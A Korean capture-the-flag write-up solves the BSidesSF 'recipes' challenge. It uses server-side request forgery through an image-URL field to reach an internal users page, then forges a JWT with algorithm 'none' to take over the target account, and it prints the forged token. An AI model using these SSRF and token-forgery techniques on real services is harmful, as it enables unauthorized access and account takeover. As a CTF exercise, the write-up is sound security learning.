문제 링크

https://recipes-0abb43f9.challenges.bsidessf.net/

불러오는 중입니다...

 

문제 상황

I've found this recipe storage service. Rumor has it that the famous San Francisco-based Boudin Bakery is working on a new recipe. Can you get that for me?

Boudin Bakery의 새로 개발중인 레시피를 유출해달라는 꽤 신선한 주제의 문제이다.

 

간단하게 구성된 메인화면

 

 

회원가입 페이지

회원가입을 완료하면 set-cookie로 쿠키를 받게되는데, 이 토큰은 JWT이다.

내용을 보면, sub라는 항목이 유저를 구분하는 역할을 하는 것으로 보인다.

회원가입을 한뒤(로그인) 레시피 메뉴가 생긴다.

여기서 새로운 레시피를 추가할 수 있다.

평범한 게시글을 쓰는 폼이나, 사진파일 업로드가 아닌 URL을 요구하는 점이 수상하다. 

URL링크에 http://hello를 입력하니 이미지를 가져오는데 실패했다고 에러를 띄운다.

보통 이렇게 서버단에서 내가 요청한 주소를 대신 접근해줄 때 SSRF가 발생할 수 있다.

URL링크에 http://127.0.0.1:8080/를 입력해보았다.

이렇게 data 형식으로 base64인코딩되어있다. 디코딩 해보면, main화면의 html코드임을 알 수 있다.

문제의 home화면 부분 소스를 보게되면, 숨겨진 users라는 메뉴가 보인다.

해당 주소로 직접 접근했을 때, Access Denied가 발생한다. 


 

문제 풀이

숨겨진 users라는 메뉴를 발견하였고, 서버에서 내부의 주소에 접근할 수 있게 되었다. 

SSRF취약점을 이용해서 users를 불러와보자.

URL부분에 http://127.0.0.1:8080/users 를 입력하고 레시피를 생성한다.

<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">

	<title>RecipeServ</title>

  
  <link href="/static/bootstrap/css/bootstrap.min.css" rel="stylesheet">

</head>

<body>

  
  <nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
    <div class="container">
      <a class="navbar-brand" href="#">RecipeServ</a>
      <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <div class="collapse navbar-collapse" id="navbarResponsive">
        <ul class="navbar-nav ml-auto">
          <li class="nav-item">
            <a class="nav-link" href="/">Home
            </a>
          </li>
          
          <li class="nav-item">
            <a class="nav-link" href="/login">Login</a>
          </li>
          <li class="nav-item">
            <a class="nav-link" href="/register">Register</a>
          </li>
          
        </ul>
      </div>
    </div>
  </nav>

  
  <div class="container pt-3">
    <div class="row">
      <div class="col-md-8 offset-md-2">
				
  <ul>

  ---------------------------- 중략 -----------------------------
    <li><a href='/profile/6180f0c8-778b-442f-a5ab-10e18bef4c2d'>boudin_bakery</a></li>
  ---------------------------- 중략 -----------------------------
  </ul>

      </div>
    </div>
  </div>

  
  <script src="/static/jquery/jquery.slim.min.js"></script>
  <script src="/static/bootstrap/js/bootstrap.bundle.min.js"></script>

</body>

</html>


 

성공적으로 users의 내용을 볼 수 있었고, 모든 유저의 정보를 볼 수 있었고, 그중 우리가 알아내야할 boudin_bakery의 정보도 있었다.

html을 보면 profile의 주소가 보인다.

/profile/6180f0c8-778b-442f-a5ab-10e18bef4c2d6180f0c8-778b-442f-a5ab-10e18bef4c2d아이디 로 접근하면, 우리가 얻고자 하는 레시피를 얻을 수 있을 것이다.

하지만, 처음에 봤듯이 JWT를 사용하고있어 직접접근으로는 접근할 수 없다.

토큰의 값이 주인의 아이디 즉 6180f0c8-778b-442f-a5ab-10e18bef4c2d 과 동일해야 접근권한이 생기는 것이다.

따라서 서버에서 접근한다해도 내용을 볼 수 없다.

이제 JWT를 조작해 sub가 6180f0c8-778b-442f-a5ab-10e18bef4c2d 되도록 만들어야한다.

하지만, secret key를 우리는 모르기 때문에 key를 크랙하거나 JWT취약점을 이용해야한다.

여러 취약점중 간단한 것은 JWT none attack이다. 

JWT는 위와같이 Header부분과 Payload, Signature 세부분으로 나뉘어져 있다.

그중 header의 alg부분을 검증을 제대로 하지 않는다면, "alg" : "none"으로 조작할 수 있다.

그렇다면, 아래 비밀키가 들어가는 Signature부분을 적지 않아도 인증이되어, 우리가 원하는 값으로 토큰을 생성할 수 있다.

JWT는 각 부분의 내용을 Base64인코딩 한 뒤 "." 으로 연결한다. 따라서 이 형식을 맞춰서 임의로 토큰을 만들 수 있다.

ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.eyJleHAiOjE1ODMxNDEzNDksImlhdCI6MTU4MzEzNzc0OSwiaXNzIjoicmVjaXBlYm90IiwibmJmIjoxNTgzMTM3NzQ5LCJzdWIiOiI2MTgwZjBjOC03NzhiLTQ0MmYtYTVhYi0xMGUxOGJlZjRjMmQifQ.

해당 토큰을 쿠키수정으로 수정해준뒤, recipes에 들어가면 해당 계정으로 접근할 수 있고, Flag bread라는 레시피를 보면 플래그를 획득할 수있다.

복사했습니다!